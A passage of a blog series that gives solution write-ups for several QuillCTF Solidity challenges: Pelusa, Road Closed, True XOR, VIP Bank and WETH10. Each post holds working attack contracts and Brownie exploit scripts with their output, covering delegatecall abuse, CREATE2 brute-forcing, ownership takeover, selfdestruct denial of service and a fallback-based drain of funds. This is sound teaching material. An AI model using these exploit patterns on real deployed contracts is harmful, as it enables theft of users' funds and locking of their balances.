Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
PandaToken.getTokens confirmed Block: 3 Gas used: 71178 (0.59%)

Transaction sent: 0xbfbf260bae33b239df2e37a92f951493d0cfb499c5ef0c5581201d8aa81d8b50
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
PandaToken.getTokens confirmed Block: 4 Gas used: 71178 (0.59%)

+ PND balance of the hacker after attack is: 3000000000000000000

· 5 min read
Kaan Caglan

Pelusa is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. Pelusa.sol. Contract is not deployed on any test network.

Objective of CTF is

Score from 1 to 2 goals for a win.

To solve this question we have to make goals variable 2. There are few rules on this contract. It can be seen that delegatecall is used in shoot function. With the help of delegatecall we can modify goals variable.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IGame {
function getBallPossesion() external view returns (address);
}

// "el baile de la gambeta"
// https://www.youtube.com/watch?v=qzxn85zX2aE
// @author https://twitter.com/eugenioclrc
contract Pelusa {
address private immutable owner;
address internal player;
uint256 public goals = 1;

constructor() {
owner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
}

function passTheBall() external {
require(msg.sender.code.length == 0, "Only EOA players");
require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");

player = msg.sender;
}

function isGoal() public view returns (bool) {
// expect ball in owners posession
return IGame(player).getBallPossesion() == owner;
}

function shoot() external {
require(isGoal(), "missed");
/// @dev use "the hand of god" trick
(bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()"));
require(success, "missed");
require(uint256(bytes32(data)) == 22_06_1986);
}
}

There are 3 required statements on shoot function. We should make them all pass. Firstly we need to make isGoal function return true.

    function isGoal() public view returns (bool) {
// expect ball in owners posession
return IGame(player).getBallPossesion() == owner;
}

This function is just calling the getBallPossesion function of player contract and checks if it is equal to owner or not. Owner is setted on constuctor.

owner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));

And its easy to replicate this data because we know msg.sender and also the block.number of contract creation. Msg sender is the wallet address which called deploy function of this contract. And blockhash(block.number) is just 0 because we can not obtain the current block's header within that transaction because the transaction that is running has not been included in the block yet. However we still need to change player variable with our attack contract address.

    function passTheBall() external {
require(msg.sender.code.length == 0, "Only EOA players");
require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");

player = msg.sender;
}

Player is assigned on passTheBall function. To make it pass there are 2 required statements. First one is checking if the code length is 0. It is easy to bypass because on constructor of any contract code.length is 0. So if we create a contract and call this passTheBall function in our attack contracts constructor it will be able to pass first require statement. Second one is converting the contract address to integer and checks if that int mod 100 is 10. It is possible to create a contract which will satisfy the condition with bruteforcing. It is possible to predict contract address before deploying it with salt. So again we can try to increase salt until we found a valid address and then deploy that contract with valid salt. And after those steps we just need a function named handOfGod() which will increase the goals variable and returns 22_06_1986

POC

Solidity Attack Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IGame {
function getBallPossesion() external view returns (address);
}

interface IPelusa {
function passTheBall() external;
function shoot() external;
}

contract Attack is IGame {
address private immutable owner;
address internal player;
uint256 public goals = 1;


IPelusa public pelusa;
bool public succeeded;

constructor(IPelusa _pelusa, address owner_of_pelusa) {
pelusa = IPelusa(_pelusa);
owner = address(uint160(uint256(keccak256(abi.encodePacked(owner_of_pelusa, blockhash(block.number))))));
pelusa.passTheBall();
}

function getBallPossesion() external view override returns(address){
return owner;
}

function attack() external payable{
pelusa.shoot();
}

function handOfGod() external returns(bytes32){
goals += 1;
bytes32 result = bytes32(uint256(22_06_1986));
return result;
}
}

contract Create2Factory {
IPelusa public immutable pelusa;
Attack public createdContract;
address public owner_of_pelusa;
constructor(IPelusa _pelusa, address _owner_of_pelusa) payable{
pelusa = _pelusa;
owner_of_pelusa = _owner_of_pelusa;
}

function deploy() external {
bytes memory bytecode = type(Attack).creationCode;
bytes memory calculatedBytecode = abi.encodePacked(bytecode, abi.encode(pelusa), abi.encode(owner_of_pelusa));

for(uint256 i; i < 1000; i++){
address calculatedAddress = getAddress(calculatedBytecode, i);
if(uint256(uint160(calculatedAddress)) % 100 == 10){
createdContract = new Attack{
salt: bytes32(i) // the number of salt determines the address of the contract that will be deployed
}(pelusa, owner_of_pelusa);
}
}
}

function getAddress(bytes memory bytecode, uint _salt) public view returns (address) {
bytes32 hash = keccak256(
abi.encodePacked(
bytes1(0xff), address(this), _salt, keccak256(bytecode)
)
);
return address (uint160(uint(hash)));
}

}

Python Exploit Function

from brownie import *
from scripts.setup_general import console

def exploit():
admin = accounts[0]
attacker = accounts[1]
pelusa = Pelusa.deploy({'from': admin})
console.yellow("Creating attack contract")
attack_contract_factory = Create2Factory.deploy(pelusa.address, admin.address, {'from': attacker})
attack_contract_factory.deploy()
attack_conttract = Attack.at(attack_contract_factory.createdContract())

assert pelusa.goals() == 1
console.yellow("Calling -> attack_conttract.attack({'from': attacker})")
attack_conttract.attack({'from': attacker})

assert pelusa.goals() == 2
console.green("Goals of the contract after attack is: "+ str(pelusa.goals()))

And the output is

>>> run('poc', 'exploit')


Running 'scripts\poc.py::exploit'...
Transaction sent: 0xcb1f321da80b607fb77331af5c526e52cbab1fe74e1785749aded7dff2ae545f
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5
Pelusa.constructor confirmed Block: 16 Gas used: 284755 (2.37%)
Pelusa deployed at: 0x6b4BDe1086912A6Cb24ce3dB43b3466e6c72AFd3

Creating attack contract
Transaction sent: 0xf1e486f1c3eb05bc79b6e55145f8d50897fd871d279396feef95c5009d21a5f9
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10
Create2Factory.constructor confirmed Block: 17 Gas used: 519008 (4.33%)
Create2Factory deployed at: 0x1766f78B9548Ca08542fD46eB08908447F7e2d4D

Transaction sent: 0x1ecea9ccfd99307d24b5dd6be76321acd6f9bb3a654ce080b67dd8c022ad41ed
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11
Create2Factory.deploy confirmed Block: 18 Gas used: 3497755 (29.15%)

-Goals of the contract before attack is: 1
Calling -> attack_conttract.attack({'from': attacker})
Transaction sent: 0xbe49704659b80e05169042cd2284dc0df228c14dd302f8c42759a5d0a54f003c
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 12
Attack.attack confirmed Block: 19 Gas used: 34184 (0.28%)

+Goals of the contract after attack is: 2

· 3 min read
Kaan Caglan

Road Closed is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. RoadClosed.sol. Contract is deployed on goerli test network.

Etherscan URL

To connect with this contract we can run brownie console with goerli network

kaancaglan@pop-os:~/QuillCTF/roadclosed$ brownie console --network goerli

Objective of CTF is

Become the owner of the contract
Change the value of hacked to true

We have to become the owner of the contract and also change the hacked variable to the true.

// SPDX-License-Identifier: GPL-3.0

pragma solidity 0.8.7;

contract RoadClosed {

bool hacked;
address owner;
address pwner;
mapping(address => bool) whitelistedMinters;


function isContract(address addr) public view returns (bool) {
uint size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}

function isOwner() public view returns(bool){
if (msg.sender==owner) {
return true;
}
else return false;
}

constructor() {
owner = msg.sender;
}

function addToWhitelist(address addr) public {
require(msg.sender == addr, "address must be msg.sender");
require(!isContract(addr),"Contracts are not allowed");
whitelistedMinters[addr] = true;
}


function changeOwner(address addr) public {
require(whitelistedMinters[addr], "You are not whitelisted");
require(msg.sender == addr, "address must be msg.sender");
require(addr != address(0), "Zero address");
owner = addr;
}

function pwn(address addr) external payable{
require(!isContract(msg.sender), "Contracts are not allowed");
require(msg.sender == addr, "address must be msg.sender");
require (msg.sender == owner, "Must be owner");
hacked = true;
}

function pwn() external payable {
require(msg.sender == pwner);
hacked = true;
}

function isHacked() public view returns(bool) {
return hacked;
}
}

It can be seen that changeOwner function is expecting us to be in whitelistedMinters. So to became owner first we have to make us whitelisted. There is also a addToWhitelist function. Which will allow us to be whitelisted. And that function have only 2 requirement, and none of them is blocking us to be whitelisted user. So we can call that function without any problem. And after that we will be able to call changeOwner function and right after that since pwn function is expecting us to be owner we can directly call it too.

POC

#https://goerli.etherscan.io/address/0xd2372eb76c559586be0745914e9538c17878e812
from brownie import *
from brownie.network.gas.strategies import LinearScalingStrategy
from brownie.network import gas_price, Accounts
from dotenv import load_dotenv
from scripts.setup_general import console
import os

strategy = LinearScalingStrategy("6 gwei", "70 gwei", 1.1)
gas_price(strategy)
load_dotenv()
ATTACKER_PRIVATE_KEY = None


def exploit():
ATTACKER_PRIVATE_KEY = os.getenv('DEFAULT_ATTACKER_PRIVATE_KEY')
_accounts = Accounts()
_accounts.add(ATTACKER_PRIVATE_KEY)
attacker = _accounts[0]

assert attacker.balance() > 0

contr = RoadClosed.at('0xd2372eb76c559586be0745914e9538c17878e812')
console.green("Imported attacker account successfuly.")
contr.addToWhitelist(attacker, {'from': attacker})
contr.changeOwner(attacker, {'from': attacker})
contr.pwn(attacker, {'from': attacker})
console.green("Attacked. IsOwner: " + str(contr.isOwner({'from': attacker})))
console.green("Attacked. IsHacked: " + str(contr.isHacked({'from': attacker})))

You just have to add your goerli account private key into .env file

export DEFAULT_ATTACKER_PRIVATE_KEY=xyz

And the output is

>>> run('poc', 'exploit')

Running 'scripts/poc.py::exploit'...
Imported attacker account successfuly.
Transaction sent: 0xd10470517d1d022a59669220edb1091958259323ddf982178f1f7bcc31af63ab
Gas price: 6.0 gwei Gas limit: 29348 Nonce: 53
RoadClosed.addToWhitelist confirmed Block: 8180549 Gas used: 24492 (83.45%)

Transaction sent: 0xcd133bf3bf9e44aef79c3d94a9ad8dc1d4e0ee9955594f26d6d0e0995a450358
Gas price: 6.0 gwei Gas limit: 31601 Nonce: 54
RoadClosed.changeOwner confirmed Block: 8180550 Gas used: 26541 (83.99%)

Transaction sent: 0x2627c23fedb586c2e910bd6aeb0e8854bebe436380c98d32f49bcc1a31475469
Gas price: 6.0 gwei Gas limit: 29429 Nonce: 55
RoadClosed.pwn confirmed Block: 8180551 Gas used: 24566 (83.48%)

+ Attacked. IsOwner: True
+ Attacked. IsHacked: True

Etherscan value of changeAdmin request can be found here.

· 4 min read
Kaan Caglan

True XOR is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. TrueXOR.sol. Contract is not deployed on any test network.

Objective of CTF is

- Make a successful call to the `callMe` function.
- The given `target` parameter should belong to a contract deployed by you and should use `IBoolGiver` interface.

To solve this question we somehow have to return different booleans in the same transaction on the view function. So it is not possible to change any state variable to control it and return something else using that state variable.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IBoolGiver {
function giveBool() external view returns (bool);
}

contract TrueXOR {
function callMe(address target) external view returns (bool) {
bool p = IBoolGiver(target).giveBool();
bool q = IBoolGiver(target).giveBool();
require((p && q) != (p || q), "bad bools");
require(msg.sender == tx.origin, "bad sender");
return true;
}
}

If we check solidity official document for Block And Transaction Properties we can see there are 15 different transaction properties exist.

blockhash(uint blockNumber) returns (bytes32): hash of the given block when blocknumber is one of the 256 most recent blocks; otherwise returns zero
block.basefee (uint): current block’s base fee (EIP-3198 and EIP-1559)
block.chainid (uint): current chain id
block.coinbase (address payable): current block miner’s address
block.difficulty (uint): current block difficulty
block.gaslimit (uint): current block gaslimit
block.number (uint): current block number
block.timestamp (uint): current block timestamp as seconds since unix epoch
gasleft() returns (uint256): remaining gas
msg.data (bytes calldata): complete calldata
msg.sender (address): sender of the message (current call)
msg.sig (bytes4): first four bytes of the calldata (i.e. function identifier)
msg.value (uint): number of wei sent with the message
tx.gasprice (uint): gas price of the transaction
tx.origin (address): sender of the transaction (full call chain)

And all of them except one will be the same in the same transaction because TrueXOR contract will call giveBool function in the same transaction which means same block. However, the gasleft function will be different for each call. gasleft() returns the amount of gas remaining in the current transaction. So we can use gasleft function to return a boolean. It is possible to break that condition with some kind of brute-forcing methodology.

POC

Solidity Attack Contract

pragma solidity ^0.8.0;

interface IBoolGiver {
function giveBool() external view returns (bool);
}

contract RandomBoolGiver is IBoolGiver {
function giveBool() external override view returns (bool) {
return gasleft() % 2 == 0;
}
/*
function giveBool() external override view returns (bool) {
uint256 randomNum = uint256(keccak256(abi.encodePacked(gasleft())));
return randomNum % 2 == 0;
}
*/
}

We can either use function one to get randomly mod 2 of the gasleft and return the value (it will be %50 chance to return true/false) or the second one to generate random integer and again get mod 2 of that random function. For example if uint256(keccak256(abi.encodePacked(gasleft()))); won't work then we can change it to uint256(keccak256(abi.encodePacked(gasleft()-1))); to make it work.

Python Exploit Function

from brownie import *
from scripts.setup_general import console

def exploit():
admin = accounts[0]
attacker = accounts[1]

xor = TrueXOR.deploy({'from': admin})
console.yellow("Creating random bool giver contract")

attack = RandomGiveBool.deploy({'from': attacker})
console.yellow("Calling -> xor.callMe(attack, {'from': attacker})")
answer = xor.callMe(attack, {'from': attacker})
assert answer == True
console.green("callMe function returned: " + str(answer))

And the output is

>>> run('poc', 'exploit')


Running 'scripts\poc.py::exploit'...
Transaction sent: 0xce77ec632f9eed0af0d2627f1af06e384b89bf277e87988147fe84eef046b25f
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
TrueXOR.constructor confirmed Block: 1 Gas used: 179221 (1.49%)
TrueXOR deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87

Creating random bool giver contract
Transaction sent: 0x868a8ab106d2d5a5655a3936614e021237f5600bb857b4755c720551b60bdc5b
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
RandomGiveBool.constructor confirmed Block: 2 Gas used: 91635 (0.76%)
RandomGiveBool deployed at: 0xe7CB1c67752cBb975a56815Af242ce2Ce63d3113

Calling -> xor.callMe(attack, {'from': attacker})
+callMe function returned: True

· 4 min read
Kaan Caglan

VIP Bank is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. VIPBank.sol. Contract is deployed on goerli test network.

Etherscan URL

To connect with this contract we can run brownie console with goerli network

kaancaglan@pop-os:~/QuillCTF/roadclosed$ brownie console --network goerli

Objective of CTF is

At any cost, lock the VIP user balance forever into the contract.

We have to DOS withdraw function to block any other user to withdraw their balances from the contract.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.7;

contract VIP_Bank{

address public manager;
mapping(address => uint) public balances;
mapping(address => bool) public VIP;
uint public maxETH = 0.5 ether;

constructor() {
manager = msg.sender;
}

modifier onlyManager() {
require(msg.sender == manager , "you are not manager");
_;
}

modifier onlyVIP() {
require(VIP[msg.sender] == true, "you are not our VIP customer");
_;
}

function addVIP(address addr) public onlyManager {
VIP[addr] = true;
}

function deposit() public payable onlyVIP {
require(msg.value <= 0.05 ether, "Cannot deposit more than 0.05 ETH per transaction");
balances[msg.sender] += msg.value;
}

function withdraw(uint _amount) public onlyVIP {
require(address(this).balance <= maxETH, "Cannot withdraw more than 0.5 ETH per transaction");
require(balances[msg.sender] >= _amount, "Not enough ether");
balances[msg.sender] -= _amount;
(bool success,) = payable(msg.sender).call{value: _amount}("");
require(success, "Withdraw Failed!");
}

function contractBalance() public view returns (uint){
return address(this).balance;
}

}

At first look it can be seen that as an attacker we can only run contractBalance function, all of other functions require some kind of privileges like onlyVIP or onlyManager.

This is a very basic contract that vip users can deposit ethers and then withdraw their already deposited ethers. There is nothing fancy in deposit function, it basically gets Ethereum from msg.sender and increases the balance of msg.sender. Only requirement is the user can not deposit more than 0.05 ETH in one transaction. However, on the withdraw function it can be seen that there is a require statement which is required that balance of the contract should be less than or equal to maxETH which is 0.5 ETH. So if there is more than 0.5 ETH in the contract, no one will be able to withdraw their Ethereums because that require statement will fail every time. Since there is no any payable function for non-vip user, we can create our own smart contract and self-destruct it to deposit some Ethereum to the contract. selfdestruct sends all remaining Ether stored in the contract to a designated address.

selfdestruct information

POC

First, we need a smart contract with selfdestruct feature in it.

pragma solidity ^0.8.0;

contract Attack {
address immutable vip_bank;
constructor(address _vip_bank) {
vip_bank = _vip_bank;
}

function attack() public payable {
address payable addr = payable(address(vip_bank));
selfdestruct(addr);
}
}

Now we can deploy our own contract and use it to increase contracts balance to make in unavailable.

#https://goerli.etherscan.io/address/0xd2372eb76c559586be0745914e9538c17878e812
from brownie import *
from brownie.network.gas.strategies import LinearScalingStrategy
from brownie.network import gas_price, Accounts
from dotenv import load_dotenv
from scripts.setup_general import console
import os

strategy = LinearScalingStrategy("6 gwei", "70 gwei", 1.1)
gas_price(strategy)
load_dotenv()
ATTACKER_PRIVATE_KEY = None


def exploit():
ATTACKER_PRIVATE_KEY = os.getenv('DEFAULT_ATTACKER_PRIVATE_KEY')
_accounts = Accounts()
_accounts.add(ATTACKER_PRIVATE_KEY)
attacker = _accounts[0]

assert attacker.balance() > 0

contr = VIP_Bank.at('0x28e42e7c4bda7c0381da503240f2e54c70226be2')
console.green("Imported attacker account successfuly.")
console.green("Balance of the contract is: "+ str(contr.contractBalance()))
console.yellow("Creating attack contract")
attack_contr = Attack.deploy(contr.address, {'from': attacker})

console.yellow("Calling -> attack_contr.attack({'from': attacker, 'value': web3.toWei('0.51', 'ether')})")
attack_contr.attack({'from': attacker, 'value': web3.toWei('0.51', 'ether')})

console.green("Balance of the contract after attack is: "+ str(contr.contractBalance()))


You just have to add your goerli account private key into .env file

export DEFAULT_ATTACKER_PRIVATE_KEY=xyz

And the output is

>>> run('poc', 'exploit')

Running 'scripts/poc.py::exploit'...
Imported attacker account successfuly.
+ Balance of the contract is: 0
Creating attack contract
Transaction sent: 0xf83727dafdd2a999e19c2e84ff4f34d8a2bee2bea97845ac8aa0320a4852860a
Gas price: 6.0 gwei Gas limit: 94025 Nonce: 56
Attack.constructor confirmed Block: 8180668 Gas used: 85478 (90.91%)
Attack deployed at: 0x87b98A3274609723936F4ED019dFd4C90aaa670d

- Calling -> attack_contr.attack({'from': attacker, 'value': web3.toWei('0.51', 'ether')})
Transaction sent: 0xf4f26bc1cd14cd8f954d5cf4bcdbac4587bad826df7d4c212814ed602f27a535
Gas price: 6.0 gwei Gas limit: 31654 Nonce: 57
Attack.attack confirmed Block: 8180670 Gas used: 28777 (90.91%)

+Balance of the contract after attack is: 510000000000000000

Etherscan request of attack can be found here.

· 8 min read
Kaan Caglan

WETH10 is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. WETH10.sol. Contract is not deployed on any test network.

Objective of CTF is

The contract currently has 10 ethers. (Check the Foundry configuration.)
You are Bob (the White Hat). Your job is to rescue all the funds from the contract, starting with 1 ether, in only one transaction.

There is also one setup deployment script for this contract which is written in foundry.

Setup

contract Weth10Test is Test {
WETH10 public weth;
address owner;
address bob;

function setUp() public {
weth = new WETH10();
bob = makeAddr("bob");

vm.deal(address(weth), 10 ether);
vm.deal(address(bob), 1 ether);
}

function testHack() public {
assertEq(address(weth).balance, 10 ether, "weth contract should have 10 ether");


vm.startPrank(bob);

// hack time!

vm.stopPrank();
assertEq(address(weth).balance, 0, "empty weth contract");
assertEq(bob.balance, 11 ether, "player should end with 11 ether");
}
}

Contract

pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";

// The Messi Wrapped Ether
contract WETH10 is ERC20("Messi Wrapped Ether", "WETH10"), ReentrancyGuard {
receive() external payable {
deposit();
}

function _burnAll() internal {
_burn(msg.sender, balanceOf(msg.sender));
}

function deposit() public payable nonReentrant {
_mint(msg.sender, msg.value);
}

function withdraw(uint256 wad) external nonReentrant {
Address.sendValue(payable(msg.sender), wad);
_burn(msg.sender, wad);
}

function withdrawAll() external nonReentrant {
Address.sendValue(payable(msg.sender), balanceOf(msg.sender));
_burnAll();
}

/// @notice Request a flash loan in ETH
function execute(address receiver, uint256 amount, bytes calldata data) external nonReentrant {
uint256 prevBalance = address(this).balance;
Address.functionCallWithValue(receiver, data, amount);

require(address(this).balance >= prevBalance, "flash loan not returned");
}
}

So the scenario is, we are bob and we have 1 eth, there is a contract named weth and it has 10 eth. We need to steal all of the contracts Ethereum and at the end we should have 11 Ethereum. That setup script can be written in python easily.

from brownie import *
from scripts.setup_general import console

def setup():
owner = accounts[0]
bob = accounts[1]

weth = WETH10.deploy({'from': owner})
#bob transfer all his money to owner, left 1 ether only
bob.transfer(owner, bob.balance() - web3.toWei('1', 'ether'))
assert bob.balance() == web3.toWei('1', 'ether')
owner.transfer(weth, web3.toWei('10', 'ether'))
assert weth.balance() == web3.toWei('10', 'ether')

If we take a look to the weth contract there is one function named execute which is expecting receiver and data. So it means we can call any function we want as a weth contract because msg.sender will be the address of weth contract. That function is definitely vulnerable. We can just approve as much as erc20 token and increase our allowance as an attacker.

>>> weth.allowance(weth, bob)
0
>>> weth.approve.encode_input(bob, web3.toWei('10', 'ether'))
'0x095ea7b300000000000000000000000033a4622b82d4c04a53e170c638b944ce27cffce30000000000000000000000000000000000000000000000008ac7230489e80000'
>>> weth.execute(weth, 0, 0x095ea7b300000000000000000000000033a4622b82d4c04a53e170c638b944ce27cffce30000000000000000000
000000000000000000000000000008ac7230489e80000, {'from': bob})
Transaction sent: 0x308b8136597c157329173608884867545c93d5793a1c96a1e9960f8b120cb5b7
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
WETH10.execute confirmed Block: 9 Gas used: 49947 (0.42%)

<Transaction '0x308b8136597c157329173608884867545c93d5793a1c96a1e9960f8b120cb5b7'>
>>> weth.allowance(weth, bob)
10000000000000000000

It can be seen that we can increase our allowance and it means we can use/transfer any erc20 token weth has. However this is not useful for us because weth contract does not have any erc20 token.

>>> weth.balanceOf(weth)
0

And since all of the useful methods in the contract has a modifier named nonReentrant it is also not possible to call any function with execute function. So we need to find another way to exploit this contract. If we take a look to sendValue function of library Address we can see that it is calling our contract with .call function which will call any contract's fallback function.

    function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");

(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}

And if we take a look to the _burn function of erc20 we can see that it is possible to burn 0 amount of tokens.

    function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");

_beforeTokenTransfer(account, address(0), amount);

uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}

emit Transfer(account, address(0), amount);

_afterTokenTransfer(account, address(0), amount);
}

There is only one control about the balance and its checking if account has more balance or equal to the given amount.

        uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");

So it means it is possible to call burn function like

_burn(some_account, 0)

It won't revert the transaction. So it means if we call withdrawAll function, since it is calling first sendValue and then tries to burn erc20 tokens with the amount of balanceOf(msg.sender), we can write an attack contract and on the fallback function we can transfer all of our tokens to some other account.

POC

  • Create an attack contract with 1 ether balance
  • Call deposit function on that attack contract, and weth contract will mint us 1 ether amount of erc20 token
  • Call withdrawAll function, it will call our fallback function
  • On fallback function, transfer all of our tokens to some other account
  • Weth contract will call burn function with balanceOf(attack) and which will be 0 so it won't revert
  • We will have our 1 eth back and also we will have 1 eth amount of erc20 token in some address.
  • Do this in loop until weth has 0 eth

Solidity Attack Contract

pragma solidity ^0.8.0;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";

interface IWETH10 {
function deposit() external payable;
function balanceOf(address account) external view returns (uint256);
function withdrawAll() external;
function transfer(address to, uint256 amount) external returns (bool);

}

contract Attack{
IWETH10 public iweth;
address public owner;

constructor(IWETH10 _iweth) payable{
iweth = IWETH10(_iweth);
owner = msg.sender;
}

function deposit() public {
iweth.deposit{value: address(this).balance}();
}

function attack() external payable{
iweth.withdrawAll();
}

fallback () external payable {
// transfer all tokens to owner
iweth.transfer(owner, iweth.balanceOf(address(this)));
}
function sendMoney() public{
(bool sent, bytes memory data) = payable(address(owner)).call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}

Python Exploit Function

from brownie import *
from scripts.setup_general import console

def setup():
owner = accounts[0]
bob = accounts[1]

weth = WETH10.deploy({'from': owner})
#bob transfer all his money to owner, left 1 ether only
bob.transfer(owner, bob.balance() - web3.toWei('1', 'ether'))
assert bob.balance() == web3.toWei('1', 'ether')
owner.transfer(weth, web3.toWei('10', 'ether'))
assert weth.balance() == web3.toWei('10', 'ether')

def exploit():
owner = accounts[0]
bob = accounts[1]
attacker = accounts[2]
weth = WETH10[-1]
attack_contract = Attack.deploy(weth, {'from': bob, 'value': bob.balance()})
console.yellow("Starting stealing money in loop")
while weth.balance() != 0:
attack_contract.deposit({'from': bob})
attack_contract.attack({'from': bob})
transferLimit = weth.balanceOf(bob)
if transferLimit > weth.balance():
transferLimit = weth.balance()
weth.transfer(attack_contract, transferLimit)
attack_contract.sendMoney({'from': bob})

console.green("Final balance of weth: "+ str(weth.balance()))
console.green("Final balance of bob: "+ str(bob.balance()))

assert weth.balance() == 0
assert bob.balance() == web3.toWei('11', 'ether')

And the output is


- >>> run('poc', 'setup')

Running 'scripts\poc.py::setup'...
Transaction sent: 0x29f1a4124ac4e4010efe11c4879bcc937e5dc90c4fcc09ebc026b4e47c8875f2
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
WETH10.constructor confirmed Block: 1 Gas used: 1049691 (8.75%)
WETH10 deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87

Transaction sent: 0x2ecc00161a30e0a933864a89e750af7ba35f63efed11788f0ec963f9c33b24cf
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
Transaction confirmed Block: 2 Gas used: 21000 (0.18%)

Transaction sent: 0xe12234f034616f079d16c0af02f118cc2f63e2b010179ecfe2525089ad4b9c48
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
Transaction confirmed Block: 3 Gas used: 67226 (0.56%)

- >>> run('poc', 'exploit')

Running 'scripts\poc.py::exploit'...
Transaction sent: 0xbabb008a026748b8f129db6295ae1f497c1bf237a919ddc4e22c3c8199eec3f7
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
Attack.constructor confirmed Block: 4 Gas used: 298682 (2.49%)
Attack deployed at: 0xDA1C81E678CbafE8EF2cfa2eC9D8D7724bAA3DD2

+ Starting stealing money in loop
Transaction sent: 0x8f1202f0da18c8ed1fdf78452ac6a906eca23d5476e80736113b395752c1c638
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
Attack.deposit confirmed Block: 5 Gas used: 61710 (0.51%)

Transaction sent: 0x9d76c37e1c9ccf4304c6dc0bc9e75d6f14c09efad3508e772c4e295f8d9c0aa6
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3
Attack.attack confirmed Block: 6 Gas used: 60110 (0.50%)

Transaction sent: 0x3cc94fa6670a1288d05c7e96eb43ac57998d809c564c0bafcb39051c92a1b8ee
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
WETH10.transfer confirmed Block: 7 Gas used: 50904 (0.42%)

Transaction sent: 0x17d775acdec09ce4ce541bfeab8825b9989b46551252b3920ff50038a083259b
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 4
Attack.deposit confirmed Block: 8 Gas used: 46710 (0.39%)

Transaction sent: 0xecef4249ab389e2a08925008ade26ef95101d56dc98994c2a9d304283d92c346
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5
Attack.attack confirmed Block: 9 Gas used: 45110 (0.38%)

Transaction sent: 0x96d0b0f2d7af432ed77c57c1b3eb1cf91f1ca3025e4b02e9b2090dc97005d8b1
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3
WETH10.transfer confirmed Block: 10 Gas used: 50904 (0.42%)

Transaction sent: 0x7f12308dab6398490dd142e3c934a916f9982c8ba1c2508c9abf34576a5abd25
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6
Attack.deposit confirmed Block: 11 Gas used: 46710 (0.39%)

Transaction sent: 0x9e7b661e9afc88ffa0e15f49496313e9eef098ecf8884c3a3a9bb5aecc6e444c
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7
Attack.attack confirmed Block: 12 Gas used: 45110 (0.38%)

Transaction sent: 0xaa8790db0c00afda61d309d38df1c219d14e71558e512851c10b64e8edf15658
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 4
WETH10.transfer confirmed Block: 13 Gas used: 35904 (0.30%)

Transaction sent: 0x8b28c2337bf3a5b31eab5228126bc129c612d91c7c9e40055ad5147352f2c20f
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8
Attack.deposit confirmed Block: 14 Gas used: 46710 (0.39%)

Transaction sent: 0x99d34df9f39c00e82c88163a09707dbd81f8fbfbbd48ecf7d7732ac588ee85a0
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9
Attack.attack confirmed Block: 15 Gas used: 45110 (0.38%)

Transaction sent: 0x225dc272146189e541df0f072576a336022d8807644460aac9108694f14a20cc
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5
WETH10.transfer confirmed Block: 16 Gas used: 27432 (0.23%)

Transaction sent: 0x3409d57c3a1bba8719617f0f1cecc86591afc8e5736b05aa17ebfda6bf073544
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10
Attack.sendMoney confirmed Block: 17 Gas used: 29607 (0.25%)

+ Final balance of weth: 0
+ Final balance of bob: 11000000000000000000

· 6 min read
Kaan Caglan

WETH11 is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. WETH10.sol. Contract is not deployed on any test network.

Objective of CTF is

We have fixed WETH10 and now have introduced its new version WETH11.
